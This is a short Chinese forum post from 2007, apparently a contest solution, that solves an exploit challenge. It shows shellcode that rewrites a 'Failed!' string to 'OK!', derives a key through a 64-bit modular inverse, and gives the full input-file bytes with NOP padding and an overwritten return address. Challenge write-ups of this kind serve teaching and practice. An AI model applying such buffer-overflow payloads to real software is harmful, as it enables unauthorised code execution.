-
-
[原创]第二阶段第一题答案
-
发表于:
2007-8-29 02:54
6268
-
溢出代码很容易搞
0012FABC B8 60024000 mov eax, 400260 ; ASCII "Failed!"
0012FAC1 C700 4F4B2100 mov dword ptr [eax], 214B4F
0012FAC7 C740 08 4F4B210>mov dword ptr [eax+8], 214B4F
0012FACE 33C0 xor eax, eax
0012FAD0 8BEC mov ebp, esp
0012FAD2 83C5 24 add ebp, 24
0012FAD5 - E9 A9082D00 jmp ExploitM.00400383
关键是text.txt文件的前八个字节经过计算后eax需要等于0x0D才能保证修改ret的返回地址
加载vc32rtf后可以看到运算其实就是__int64的乘后取余,但由于第一步的相乘后产生了溢出,所以不能直接进行逆运算
由于给定的参数和0x10000000000000000的最大公约数为1,所以可以构造一个64位数使第一步的结果就为0x0D,这样第二步求余时由于0x0D小
于给定的0x5BE6FF82A5164785,所以结果还是0x0D
求解使用的方法为寻找0x78CC02A869948F1B对0x10000000000000000的乘法逆元,e'=90B22DD80D53313
k=e'*d % f
k=0x7590C53F8AD397F7
所以文件的内容为
F7 97 D3 8A 3F C5 90 75 B8 60 02 40 00 C7 00 4F 4B 21 00 C7 40 08 4F 4B 21 00 33 C0 8B EC 83 C5 24 E9 A9 08 2D 00 90 90 90 90 90 90 90 90 90 90 BC FA 12 00
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!